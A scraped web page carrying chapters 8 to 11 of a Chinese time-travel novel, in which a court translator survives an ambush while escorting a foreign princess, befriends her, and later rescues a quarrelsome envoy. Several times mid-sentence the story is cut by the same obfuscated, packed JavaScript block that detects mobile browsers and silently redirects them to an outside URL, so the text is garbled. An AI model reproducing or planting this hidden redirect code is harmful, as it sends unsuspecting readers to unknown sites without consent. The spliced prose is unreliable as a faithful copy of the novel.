被波及到的薛译官尴尬地笑笑,在沉默中怯生生开口:“我与曲译官都刚进译院不久。” 李使者意味深长地笑了,语言尖锐,道:“原来是新来的译官,此去析节路途遥远,事关重大,不知两位译官能否担此重任?” 在场是译院的人均是脸色一变,面若冷霜。 曲聆烟冷冷道:“不劳李使者费心了,此去析节译官,皆是析节皇室所选,李使者要违反析节皇室的要求吗?” 被曲聆烟一说,李使者的火也熄了,他去过那么多国家交谈,最难以看透的便是析节,析节中最难相处的便是这次前来的敬王,为了这个小姑娘得罪析节皇室不值得,如若是翻译方面出了问题,陈渊担责,更合他心意。 李使者冷哼一声,不再说话。 等待许久的众人,总算等到侍卫前来,侍卫气喘吁吁,道:“院首,析节敬王和析节公主到了。” 8. 刺杀 曲聆烟跟着众人的视线,一同看向被围在众人中的燕辰。 先看到的是对方宽阔的肩膀,沿着修长的脖颈,略带棕色的卷发衬着脸庞更加柔和,唇边带着一抹笑,与曲聆烟的视线相撞,空中弥漫着梨花香。 陈渊咳了一声,曲聆烟吓一激灵,立刻收回视线看向远方,与燕辰视线堪堪错开。 见人已到齐,陈渊上前与燕辰沟通此行事宜,事事详细,若不是他想伴随使者去析节的提议被皇帝否决了,以“译院院首不得随意离京”的理由让他留下,他此刻已是边咬牙边恨不得直接就上马车跟着去析节的车队走。 听着陈渊和燕辰交流,曲聆烟只觉自己鼻腔里都充满着酷暑独有的气味,想到析节更比京城炎热,心中气闷再添一分。 一分又一分添着时,一句清晰带着不容置疑的口吻的话传入她耳中。 “本王还有一个要求,让随行译官在马车上陪同。” 本微微侧头的曲聆烟听到这句话立刻偏回头,对着那张带着笑意的漂亮脸庞,一时说不出什么话来。 这敬王又要开始搞什么幺蛾子。 即使顶着曲聆烟埋怨的目光,燕辰也丝毫没有退让,接着道:“那便薛译官陪同本王,曲译官陪同公主。” 说完也没等陈渊回话,自顾自地往马车走。 曲聆烟可以很明显地看到陈渊衣袖下握紧的拳头,面上还依旧是那副云淡风轻的嘴脸。 果然成大事者都很能忍啊! 曲聆烟打了个哈欠,跟着公主上了马车,丝毫没有要和自己上司打个招呼再走的意识。 看到曲聆烟跟着公主走了,薛译官犹豫一瞬,往敬王的方向走去。 两人留给陈渊的背影看起来是如此无情,曲聆烟没看到的是这下陈渊的脸色已经不太好看了,李使者冷哼一声也走了,陈渊脖颈已染上带着怒气的红色。 陈渊听着马蹄声一阵接着一阵,飞扬的尘土落在他面前,他脸色难看地后退了一步,冷笑一声,一挥袖子就往译院走去。 坐在马车上与公主尴尬对视的曲聆烟也难免被马蹄声扰乱思绪,她在现代的时候就没怎么见过马,更别说是一群马跑着,连续不断的马蹄声传入耳中,在这种嘈杂的环境中,曲聆烟的心倒是更平稳了些。 公主不说话,曲聆烟便也不主动开口,在心中琢磨着那封有着燕辰落款的信。 那封信悄无声息地到自己手上这件事已经很诡异了,所用语言除了落款更是一个字都看不懂,曲聆烟对自己的专业能力还是很自信的,难道是这个朝代的自创语言? 这个世界的朝代与她所学过的历史中任何一个朝代都对不上号,哪怕她知道这种语言大概是什么时期的,但除了语言之外便再无相同之处,如此看来,应该是这个朝代的自创语言了。 曲聆烟在心中默默下定论。 但可以证明的是,那封信出自燕辰之手。 公主看着沉思的曲聆烟,安静的环境很是无趣,颠簸的马车摇得人更多一分睡意,慢慢地倒在靠枕,意识打不过睡意,渐渐睡去。 下完定论的曲聆烟看着睡着的公主,没忍住轻笑一下,这析节的公主倒是没什么架子。 从京城去析节路途遥远,曲聆烟也不知在马车上过了多久才到驿站,匆匆休息调整又上了马车,如此往复无聊的赶路日子,慢慢模糊了她对时间的概念。 只是不再热闹的街道和葱郁的林子提醒她,已经离开京城有段距离了,再过十几天,也可能是几十天,应该就能到析节了。 昏昏欲睡的曲聆烟靠着马车想。 这回没等她同往常一般睡着,便听到一声惨叫,和急促的马蹄声,接着能够明显感到她们所坐的马车速度加快了。 不是吧,这场景怎么感觉有点熟悉。 曲聆烟感觉有点绝望,身后抵上尖锐的物体。 她转头一看,是箭的尖端刚好抵在她腰部。 看清的那一刻,曲聆烟顿时蹿了起来,两步坐到昏睡的公主身边,急忙摇醒对方。 怎么刺杀场景还真同小说里的一样,都是先放冷箭。 曲聆烟觉着自己的心比冷箭还冷,车夫咒骂的声音不断传来,更为此刻增添了一分绝望。 “怎么了?”睡眼蒙眬的公主问道,嗓音中带着明显的不清醒,眨着大眼睛看着曲聆烟。 曲聆烟这时都还能感叹不愧是西域人眼睛就是大,随着又一支箭插在窗户上,心立刻收了回来。 “应该是刺杀。”曲聆烟的西域语很正确,使得公主反应了一瞬才知晓她的意思。 公主面色严峻,将背后的小包绑在自己身上,又从包里拿出了一把小型箭弩,绑在自己的小臂上。 第一次在现实里见到这种小型箭弩的曲聆烟被吸引了视线,好奇地看着这新奇的玩意,摇了摇脑袋回到正常人思绪上,问道:“公主知道刺杀之人是谁吗?” 公主看着她严肃的目光,茫然地摇了摇头,道:“想让我们死的人挺多的。” 她也不知道是谁。 曲聆烟倒吸一口气,掀开窗帘看向外边,接着又把半个头探出去查看情况。 连片的林子让她分不清身处何处,但可以判断的是,她们的马车已经脱离大部队了,因为她没有听到除了这匹马马蹄声和马夫咒骂声以外的声音。 风刮过她的脸庞,在狂风中被束好的头发已经散乱,她有些睁不开眼睛,被迫将头收回马车后,一支箭擦着窗帘射过,小半张窗帘被划破,狂风灌进了马车。 被风吹着留下的眼泪划过她白皙的脸颊,此刻没有一点血色。 公主甚至能从曲聆烟的眼泪中看到自己的脸,那行泪水被曲聆烟抹了一把,顺着泪痕能看到的是她湿润的眼眶和坚定的眼神。 没等曲聆烟那句“我来保护公主”说出口,就被公主拉着强制换了位置,成为了被保护的人。 曲聆烟愣了一刻,即使在为数不多的相处中,她能感觉到这位析节公主是个随和的人,但她从没想过地位高贵的公主,会将她这个异国的译官挡在身后,一副保护的姿态。 风声灌进耳里,曲聆烟现在听不清任何声音,心几乎已经跳到了脑袋里,恐惧的情绪充满了她全身,却依然强制自己保持镇定。 在自我催眠的镇定之下,她意识到了什么不对,一把冲去查看车夫的情况,却见在马背上颠簸的车夫,身后插着一支箭,血不断流下,滴落在地上。 被吓到失神的曲聆烟目光呆滞地看向前方,不再是连续不断的树林,以及传来的微弱水声。 曲聆烟瞳孔骤缩,感受到马车的重量增加了,明显是一个成年男子的体重。 曲聆烟又是两步冲到公主身旁,顺手捡起自己的小包裹,厉声喊道:“跳车!” 她的声音几乎被风声掩盖了,但公主还是十分顺从地在她丝毫不知对方说了什么的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076037|163380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情况下,跟着曲聆烟从车窗一跃而下。 曲聆烟拦腰抱着公主,想尽自己最大程度为公主减轻摩擦带来的伤害,两人在地上滚出几米远。 倒在地上的曲聆烟看着刺客跳进了马车,跟着受惊的马一同飞下悬崖。 她感觉自己全身的骨头都被碾过了一遍,全身上下的每一个细胞都在告诉她这种痛感程度她难以忍受。 曲聆烟咬牙从地上爬起,无力地摔倒在地,她伸长手,将小包裹揣进自己怀里,爬起来半跪着缓神。 摇摇晃晃地站起后,她尽全力拉起倒在地上的公主,声音微弱道:“这里可能不太安全,我们得快些走。” 脚步磕磕绊绊,等那条大河出现在两人视线中,曲聆烟神思恍惚,这是河吗?难道是黄河?不对,黄河不在他们去的路上。 汹涌的波涛一阵又一阵地拍着,先前倒下去的马车已经看不见任何踪影,曲聆烟可以很确定那名刺客一定已经葬身在这河中。 河上只有摇晃的用绳索和木板搭成的桥,曲聆烟咬了又咬牙,还是不能下定决心过河。 这要是脚滑摔了一跤,可就是必死无疑了。 她转身看向先前的树林,还没能彻底下定决心,就被公主拉着往桥上走。 留在这边一定是极度危险的,过河说不定还能甩开刺客,夺得一线生机。 走到一半,曲聆烟脚步虚浮,觉得自己不是要飘了就是要掉进河里了,疼痛还在不断提醒她刚才所发生的一切,这回是她救了自己一命。 忽被公主从背后往前一推,曲聆烟险些没站稳摔倒,刚想回头看是什么情况,就被公主按着肩膀往前走。 公主的声音远比她微弱,在浪声中更是难以听清,曲聆烟也觉得自己不可能在浪声中听到公主说什么了,但这回她却可以很清晰地听到公主说:“快走。” 依旧是那不太正宗的西域语,不,这就是西域语的方言。 曲聆烟很确定。 她有些莫名其妙,觉着是公主耗尽体力走不动了,可对岸已经就在眼前了,她一咬牙,觉着后牙被咬得发痛,干脆拉着公主跑起来。 她能很明显感觉到公主已经没有力气奔跑了,一到对岸便倒在了地上,可曲聆烟没有时间查看公主的情况,她从小包裹里拿出那根金簪,金簪里的刀被她磨得锋利。 曲聆烟用刀将桥的绳索一根根割断,等割到最后一根时,好不容易松了一口气,却觉着绳上一重。 抬头一看,一个身着黑衣的人在绳上快速跑着。 不是吧,你有这种技艺你来追杀我干什么啊!真不怕死吗? 曲聆烟在内心咆哮着,手上割绳的动作加快。 随着对方离她更近一步,她的心也跳得更剧烈。 终于,在对方离自己不到十米远时,绳子总算不堪重负断了,她眼睁睁地看着对方落入汹涌的河水中,不见踪影。 劫后余生的感觉涌上了曲聆烟的全身,这下是真松了一口气了。 曲聆烟回头,瞳孔一震,受到惊吓导致的泪水控制不住地流出。 公主倒在地上,整个左肩被一支箭贯穿,衣服被鲜血染红,闭着眼,似乎是察觉到她的视线,公主勉强半睁开眼,迎着浑身发凉的曲聆烟视线。 这下曲聆烟离她有点远,不能从她的泪水里看到自己的样子了,不过应该很狼狈吧。 公主对曲聆烟笑了一下,缓缓闭上眼睛。 9. 朋友 曲聆烟觉着自己已然淹没在浪声中,呆愣在原地,头脑发懵,热气环绕周围,此刻却全身冰凉。 不知过去了多久,她才逐渐找回了自己的意识,颤抖地走上前去,仍在微微发抖的手放到脸色苍白的公主鼻下探测呼吸,见其还有微弱的呼吸声才算是小小地松了一口气。 曲聆烟小心地抱起她,险些带着她一起摔倒,被箭射穿的伤口还在不断往外渗血,这样下去失血而亡只是时间问题。 过了河也是几片林子连在一起,曲聆烟有些迷茫,见无其他路可走,只得暂时先带人进林中,找一处安全的地方。 好痛,没有力气了,醒不来,还活着吗…… “&#*#……” 公主忽得睁开眼,处在黑暗中许久的她并未因日光而感到不适,毕竟她身处阴影中,模糊的视线逐渐清晰,眼中出现的是女子貌美的面容。 曲聆烟刚还在说着“奇怪,眼球都在动了,怎么还不醒”,下一刻面前人便睁开了眼,着实让她吓了一跳。 公主觉得自己脑袋晕沉,全身无力,不知是过了多久。 曲聆烟见她醒来,忙用西域语问道:“公主,感觉怎么样?” 公主这才发现自己的血已经止住了,肩膀被衣物包住,箭依旧未取出,但被她用刀砍短了。 一辈子会接触应急救援有关的时候只有军训,导致曲聆烟对现在的情况根本不知道该怎么办才好,她知道不能随意把箭取出,避免加重伤情,又用刀割了一部分裙摆为公主将伤口固定止血。 包扎伤口伤口时,她一在感慨还好军训时认真学了,二在庆幸这古代的裙子够长,竖着割了一部分再系好从正常社交距离上看也天衣无缝。 她见公主的脸色仍旧苍白,将从小溪里抓的鱼放在她好不容易钻木取火取出的火上烤,准备给公主补补体力。 鱼被处理得很好,在火上散发出香气,两人都不免咽了咽口水,眼中只有对食物的渴望。 用刀穿着的鱼很快被放在公主面前,她犹豫一瞬,还是弱弱开口道:“这可能没熟。” 曲聆烟一愣,还没等她将鱼收回去接着烤,公主惨白到没有血色的唇已经贴在鱼上,曲聆烟怕刀伤着她没敢动,等公主轻轻咬了一口吐出来后,曲聆烟才发现是真的没熟。 曲聆烟:…… 应该是鱼的问题。 她若无其事地将鱼接着放在火上烤,假装什么事都没有发生,她这番动作惹得公主忍不住笑了,靠在身后的石头上看她烤鱼。 折腾了一番,曲聆烟觉着自己的厨艺在短短一炷香的时间里已经突飞猛进,神色认真地盯着鱼。 “你以后不要再叫我公主了,你救了我,我想和你当朋友可以吗?”公主的声音将曲聆烟的思绪拉到她身上,曲聆烟震惊地转头看向她。 按照穿越小说剧情,不应该是两人跨不过阶级,就算救了人也会被当作理所当然的事吗? “那便是我的荣幸了。”曲聆烟很快接受了她的邀请,可能这位公主比较与众不同吧,毕竟她看起来真的是个好人。 “燕芷。”公主目光温柔,“我的名字。” 燕芷的声音如同身旁的微风一般弱,却依旧穿过曲聆烟的神色,抵达了内心深处,她这一刻真正有了和公主交上朋友的意识。 “我叫曲聆烟。” 燕芷反复念了几遍这个名字,从“曲聆烟”到“聆烟”,嗓音沙哑,却听得曲聆烟有些害羞,借着烤鱼转移注意力。 能被大美人念自己的名字,好幸福。 两人的氛围其乐融融,忽被树枝断裂的声音打断。 “是谁?”曲聆烟警惕喊道,唯一的一把刀穿着鱼,她没有丝毫犹豫就把鱼扔了,拿着刀站起,受惊般看向周围。 一个尴尬的声音响起,“是我,燕辰。” 两人皆是一怔,往声音传来的方向看去。 燕辰看上去毫不狼狈,连衣摆都没有沾染尘土,眉眼中担心的神色还未褪去,在看到两人的那一刻明显松了一口气。 “皇兄。” “敬王殿下。” 两人同时开口,紧张的心情也放松了不少。 “公主……”曲聆烟犹豫一下,改口道。“燕芷殿下的情况不太好。” 燕辰这才踏过崎岖的泥土往她们这边走,也是这时两人才看到被他宽大肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076038|163380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膀遮挡后的人。 “这位是?”曲聆烟皱了皱眉。 “是跟着我从析节过来的医官。”燕芷解释道,“皇兄是怎么找到我们的?” 燕辰看着燕芷被箭射穿的肩膀,眉头紧皱,说话的声音都沉了些。 “你们的马受惊后,我便带人一路顺着马蹄印记找,中途中断后又见一条血迹,血迹中断处是悬崖,又在悬崖边上找到了这个。” 他手中放着一朵丝线绣成的花,正是曲聆烟走时侍女给她的,用以祈愿一路顺利。 “还给你。” 曲聆烟从他手中拿过绣花,猜测应该是跳车时掉落的,她一路上精神紧张,一心放在燕芷身上,竟没注意侍女送给她的绣花掉了。 她将绣花收进小包裹里,医官摇摇晃晃地朝她们走来。 燕辰接着道:“悬崖的木桥被人从另一端毁坏,如果是追杀的刺客不会多此一举,所以我猜测你们在河对岸。” 曲聆烟抿了抿唇,相信了这个说辞,毕竟燕芷是他的妹妹,当然会全力寻找,逻辑上也说得通。 好不容易等摇晃着的医官来到她们身边,准备为燕芷处理伤口,曲聆烟这才发现医官也是位女子。 你们西域女子都长得这么漂亮啊! 暂时回避的曲聆烟在心中感叹道,听着燕芷没忍住喊出口,身体忽然有点凉。 她下意识说道:“你们开刀不用麻药吗?” 说完恨不得原地找个缝钻了,这个世界怎么可能会有麻药。 燕辰面露疑惑,还未开口便被曲聆烟抢先一步:“是下官多言了,敬王殿下就当下官什么也没说。” 等燕芷的伤口总算被处理好后,看着更加苍白的脸,曲聆烟的心也被揪起,同她一起吃着燕辰带来的食物补充体力。 夕阳落在两人身上,曲聆烟此刻竟觉得无比惬意,连风声都觉得悦耳。 悦耳的风声被刺耳的声响打断,毁坏了曲聆烟的美好心情,而她身边的三人皆是一瞬间便面色不善,盯着焰火升起的地方。 曲聆烟还没意识到不对,便被燕芷拉着站起来就跑,耳边只听到她说的一句: “快跑。” 10. 山洞 被莫名其妙拽着走的曲聆烟丝毫不明白燕芷的意思,一脸茫然,身后的燕辰和医官已经拿着刀往反方向走去。 “出什么事了?”曲聆烟问。 燕芷抿抿唇,道:“还有一波人,皇兄去帮我们引开。” 本就体力不支的曲聆烟被拽着跑已经有点喘不上气了,还是开口问道:“那位医官呢?” “她很厉害的。”燕芷答道。 两人在林中穿梭着,曲聆烟不知要去何处,但燕芷显然不是乱走,并且对这片林子很了解。 “我们要去哪?”曲聆烟气喘吁吁。 “先远离这边,然后找机会过河。”燕芷看了看天色,顿感不妙,等入夜林子一片漆黑就不好赶路了。 这下曲聆烟能够确定燕芷的确很熟悉这一片了,她还想问些什么,但她的体力已经达到要是再多说一句话就没有力气跑的程度了,先前透支地太过厉害,求生的本能让她感受不到疲惫。 曲聆烟不知被拉着跑了多久,也不知道到了哪儿,直到燕芷忽然停下,曲聆烟甚至险些撞到她身上。 “先在这边休息吧。”燕芷环顾四周道,“我记得这边有个山洞。” 这地方还会有山洞?曲聆烟想到什么,问道:“不会有野兽吧?” “……可能会有蛇。” 曲·怕蛇人士·聆·体力不支·烟险些晕倒。 跟着燕芷走的曲聆烟假装漫不经心道:“你对这边好了解。” 燕芷点点头,语气平淡:“我们的译官就是在这里被杀的。” 同为译官的曲聆烟身体一颤,警惕地看着周围。 “不过皇兄说刚才那波人和在当初追杀我们的不是一波人。”燕芷慢慢道,“但这波就不一定了。” 曲聆烟抱了抱肩膀,在这种天气她感到全身冰冷,一天下来不是太冷就是太热,虽说都是心理上的感觉,但她毫不怀疑这样冷热交替下去她可能会感冒。 曲聆烟崩溃道:“到底有多少人在追杀你们?” “两三波吧。”燕芷回答,“可能有人很不希望两国交好咯。” 听到这个答案,曲聆烟一愣,落下了两步,忙追上去。 不希望两国交好?这种动乱时代还有不希望和平的? 曲聆烟也不知道自己跟着燕芷又走了多远,直到一句“到了”才把她唤回神。 即将第一次见到山洞的曲聆烟期待地抬眼看去。 有点眼熟,明明是第一次见到怎么会有这种感觉,曲聆烟陷入沉思。 走进山洞后身体的冷从心理上真正转移到身体上,曲聆烟这才想起来为什么这么熟悉了,因为跟防空洞很相似。 曲聆烟瑟瑟发抖道:“我们要在这里度过一夜吗?” 燕芷站在洞口观察天色,道:“是的。” 曲聆烟绝望道:“那明天呢?” “过桥和大家会合,然后接着赶路。”燕芷说着做了个祈祷,“希望不会再遇到第二波人了。” 曲聆烟见状也有样学样,照葫芦画瓢祈祷道:“这次工作这么危险,等完成了任务一定要给我升职加薪啊!” 燕芷:…… 虽然有些词听不懂,但她还是领悟到了曲聆烟的意思。 山洞边上是一条小溪,不时能听见水流碰撞的声音,让人消除了些疲惫。 山洞里燕芷熟睡着,身上盖着宽大的披风,跑动时牵扯的伤口隐隐发痛,眉头皱起。 钻木取火失败的曲聆烟抹了把额头的薄汗,木屑沾满手心,见状准备去溪边洗一洗。 确认过燕芷情况稳定后,曲聆烟带着箭弩朝溪边走去,仔细研究着。 自从两人正式交上朋友后,曲聆烟就收到了不少燕芷所送的物品,多数被她拒绝,但箭弩这种有用的东西她犹豫一会选择了接受。 小巧精致的箭弩在她掌心中捣腾着,半天也不知该怎么使用。 曲聆烟此刻拿着箭弩,如同鱼与自行车一般。 “哗——” 激烈的水声将曲聆烟的注意力转移到远处,意识到什么,她回头看了看山洞的方向,思索后盯着溪边的方向快步走去。 待走到附近,曲聆烟小心地躲在粗壮的树干后观察情况,只见有一名男子与黑衣人争斗着,明显处于下风。 曲聆烟本无意搭理这件事,却见那名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076039|163380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男子有些眼熟,定睛一看,正是与她们走散的薛译官。 这就让她有些犯难了,大脑快速思考着,手中不自觉地把玩着箭弩。 忽然,“嗖”的一声在她耳边响起,下一刻与薛译官争斗的黑衣人便缓缓倒下。 薛译官朝箭射来的方向看去,和处于状况外的曲聆烟对上了视线。 曲聆烟完全没搞懂情况,身体有些僵硬,她也不知按到了什么箭就飞了出去,还刚好一箭穿过对方的心脏。 薛译官站在低处看着她,虽是仰视,却毫无处在低位之感,整个人同平常完全不同,面无表情,眼底闪过一丝异样。 他看着还在发怔的曲聆烟,袖下手指动了动,还未来得及做什么便被曲聆烟开口打断。 “你还好吗?”终于缓过来的曲聆烟问道,“怎么只有你一个人?” 薛译官一愣,道:“我和他们走散了,你呢?你和谁在一起?” “除了公主还能有谁?” 薛译官不语,整了整自己的袖子,瞥了一眼倒下的尸体,无情地跟着曲聆烟离开了溪边。 曲聆烟对于自己失手射杀了刺客这件事还未缓过来,虽说是为了救薛译官,但心底还是有些不自在。 对于薛译官这个人,曲聆烟其实对他很陌生,虽说打过几次交道,但也不太了解他。 夜里薛译官主动守夜的行为倒是给曲聆烟添了几分好感,也逐渐放松警惕,越睡越沉。 厚重的披风盖在曲聆烟和燕芷身上,两人几乎是气息缠绕着,黑棕色的头发混在一起。 薛译官见状,眼底暗了暗,含着复杂的情绪。 曲聆烟是被燕芷摇醒的,倦意还未退去,迷糊中听不清她在说什么。 曲聆烟用手挡着亮光,颇不适应,移开手才发现燕芷担心的神情。 “发生什么事了吗?”曲聆烟问。 燕芷见曲聆烟明显没听她在讲什么,情急之下动手往曲聆烟脖颈处伸去。 曲聆烟不明所以,但还是老实地半躺着没动。 燕芷的手在那皙白脖颈前停了下来,稳定情绪,尽量用清晰的声音道:“你的脖子上有血。” 11. 救人 燕芷说完,手颤抖着摸上曲聆烟白皙脖颈上的那抹红,血已经凝结,被她一摸,拇指上又带了一撇红。 看着燕芷拇指上的痕迹,曲聆烟此刻只有一个怀疑目标,两人同时看向坐在山洞外的薛译官,他正靠在墙上昏昏沉沉地睡着,丝毫没有察觉到自己正被两道视线盯着。 曲聆烟还未说什么,只见燕芷缓缓举起箭弩,对准了薛译官。 “不可。”曲聆烟压低声音道,慢慢地将燕芷的手下压,下一秒箭矢飞出,恰好落在薛译官的身旁。 直到此刻,听到声响的薛译官才缓缓睁开眼睛,偏头看向警惕着自己的两人,在诡异的氛围中微笑道:“早上好。” “啊。”他又偏头看了看日光,“应该是中午好。” 曲聆烟冷静地将燕芷拿着箭弩的手藏在她身后,道:“中午好,昨晚睡得怎么样?” “蚊虫有些多,不过还算不错。”薛译官目光深沉,“我昨日已与车队取得联系说明了情况,今日便可去与车队会合了。” 听到他这句话,被曲聆烟死死按着的燕芷又有些控制不住手了,曲聆烟干脆直接把燕芷挡在身后,安抚般地拍了拍她的肩膀。 即使这样,曲聆烟也能感受到燕芷正和薛译官飞眼刀,用身体都挡不住两人的视线。 又听山洞外一声巨响,薛译官变了变脸色,抛下一句“我去看看什么情况”便快步离去。 “为什么不让我动手?” “虽然这件事可能没有误会,但……”曲聆烟尴尬道,“这一行毕竟只有我们两个译官,更何况他与车队有联系,使者又多猜忌……” 燕芷打断道:“可他明明想杀了你。” 曲聆烟正色,眼眸中透出一丝无奈,“所以我后悔昨日救了他,没成想他恩将仇报。” “那便更该现在杀了他,以除后患。” 曲聆烟扶额,她与薛译官本就是析节所指定的译官,已引起其他译官的不满,李使者又与陈渊不和,若是她们在这儿杀了薛译官,仅剩她一人同使者前去析节,难免会让别人认为她与析节有什么勾当。 她压着箭弩,心中悔意更甚,若是昨日没有去溪边就好了,也不会落得这进退两难的现状。 山洞外忽又传来一声巨响,燕芷顿时大步向外走去,观察着四周。 不明燕芷何意的曲聆烟只得跟着往外走,却见燕芷脸色阴沉,眉宇之间露出苦色。 “你沿着这条河一直往西走,过第一座木桥便会有人接应。”燕芷一改之前的急躁,此刻平静地下达命令。 曲聆烟听完立刻朝西走了几步,见燕芷没跟上来,回头疑惑道:“那你呢?” “聆烟。”燕芷道,“如果你不想也成为在这里死去的译官就照我说的去吧。” 由于伤势未好的缘故,她的脸色依旧苍白,话语却平静有力,“我是真心把你当朋友的。” 闻言曲聆烟正色道:“我也是真心把你当朋友的,所以我才想和你一起活下去。” 燕芷摇摇头,却道:“那你更应该走了,我们会见面的。” 不等曲聆烟开口,远处接连不断的响声让两人的心瞬间紧绷,下一秒的燕芷就同箭一般飞了出去,上前阻拦的曲聆烟甚至没碰到她的衣角。 听着远处的动静,曲聆烟强迫自己冷静了又冷静,最后留恋地看了一眼燕芷离去的方向,快步朝西走去。 明明两人的交情也不够深,但在几次追杀中,信任的桥梁已经完全搭建起来了。 曲聆烟知道眼下去追燕芷肯定也追不上,就算她受了伤也比自己厉害多了,不如按照她说的,老实朝西去找车队会合。 溪水冲着微波,清澈见底。 曲聆烟此刻还有闲心感慨此处水清,顺着溪水朝上游看去,却见两男子待在溪边,其中一人正恶狠狠地盯着自己。 曲聆烟顿感大事不妙,撒腿就跑,却听到传来的是熟悉的声音。 “喂!那个谁!”男子急切地喊道,“救我!” 听到同平常刻薄语句之外的话,曲聆烟停了下来,回头不语,只是看着对方。 “救我啊!你没听到吗?”对方已然有些咬牙切齿。 “此处太危险了,还有两个陌生人,我还是早点跑路比较好。”曲聆烟说完便一副要走的模样,等着对方挽留她。 “是我!”李使者喊道,额上不断冒出冷汗,见曲聆烟无所动作,心中更加焦急,终是低了头,“曲译官,请救我。” 曲聆烟这才慢慢地往回走,悠闲的样子看得李使者一肚子的火。 走近曲聆烟总算看清现场情况,一男子被一把刀穿喉而死,李使者坐在他旁边,捂着自己的肩膀,隐约能看到指缝中流下的血。 曲聆烟皱眉问道:“你这是怎么回事?” 李使者没好气道:“这人追杀我,一不小心跌这溪里,手中的刀先一步掉落溪中,卡在石缝里,然后就是你看到的这样了。” 李使者狗运这么好? 曲聆烟又凑近看了看,见那把刀正好在石缝中牢固地立着,嘴角一抽,道:“我还以为是六旬老头大战刺客呢。” 李使者听了她这话,伤也不疼了,指着她道:“老夫还未达六旬之际。” 居然没有吗?看着明明很像。曲聆烟眨眨眼,道:“五十九?” 被戳中的李使者不语,把胡子吹得要上天。 “老夫要死了。”李使者忽然说道。 曲聆烟看对方还精神得很,哪有一副要死的模样,没忍住笑出声。 见她这时还能笑出声,李使者双目一瞪,道:“你还能笑得出来?” “在绝境中也要开心生活嘛。”曲聆烟捂脸,“你为什么要死了?” 李使者捂着伤口,神色哀伤,道:“我被刺客砍了一刀,怕是活不长了。” 要死的人还能说这么多话?曲聆烟没好气地打开李使者捂伤口的手,凑近观察。 “你干什么!有辱斯文啊!”李使者大喊。 曲聆烟看着刀伤,这种程度的伤虽说伤口比较深,但也不会死人。 “好了好了。”曲聆烟叹气道,“那本译官就救你一回吧。” 说完没等李使者有所反应,手起刀落便割了李使者袍子的一角,迅速地为他包扎。 没反应过来的李使者只听耳边一道风声,接着下身一凉,双目几乎要瞪出眼眶,喊道:“有辱斯文!” 虽说这个时代男女授受不亲,但两人一个将是六旬老头,一个是花季少女,曲聆烟也没想到李使者反应这么大,着实被吓了一跳。 “闭嘴。”曲聆烟冷冷道,“我可是救了你,准备想想怎么感谢我吧。” 李使者这才停下来,缩了缩头,一言不发。 等处理完李使者的事,已然过去大半个时辰,曲聆烟面色不佳,几乎把李使者看出鸡皮疙瘩。 “走吧,找车队会合。”曲聆烟看了看天色,再过一个多时辰就要黄昏了。 “我腿麻了。”李使者尝试起身未果。 他说完就收到曲聆烟冰冷的话语,“你怎么这么多事?” 心虚的李使者无法直视曲聆烟的目光,朝溪边爬去。 曲聆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15085962|163380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烟眉头一皱,道:“你要去溪里洗澡?” 下一秒只见李使者浑身颤抖着从刺客脖颈上想要拔出刀,他浑身发软,没什么力气,废了很大劲才拔出刀,顺手在水里洗了洗,血水化在溪水中,向下游流去。 “走吧。”李使者颤颤巍巍地起身,如同已达古稀之年的老人家。 为了不耽误时间,曲聆烟转身接着向西走去,又听见身后传来一道声音。 “等等!” 曲聆烟不耐烦道:“你又怎么了?” “我腿软。” 曲聆烟:…… 一路上风平浪静,和来时的凶险不同,曲聆烟甚至连鸟叫都没怎么听到,只有身后人的聒噪。 “老夫没力气走路了。” “原地等死吧。”曲聆烟脚步更快。 “老夫忽然觉得能日行千里。” “千里马都没你能跑。” 李使者:…… 他就不该开这个口,这曲聆烟看上去哪里像会尊老爱幼的人,估计是恨不得当初没看见自己,让自己跟刺客死在一起才好。 “你走得太慢了。”眼前还没出现木桥,曲聆烟已经有点着急了。 “不要虐待老人。” “你还没六旬,不算老人,正值壮年。”曲聆烟微笑道,“李使者加油,你也不希望身后又冒出一个刺客吧?” 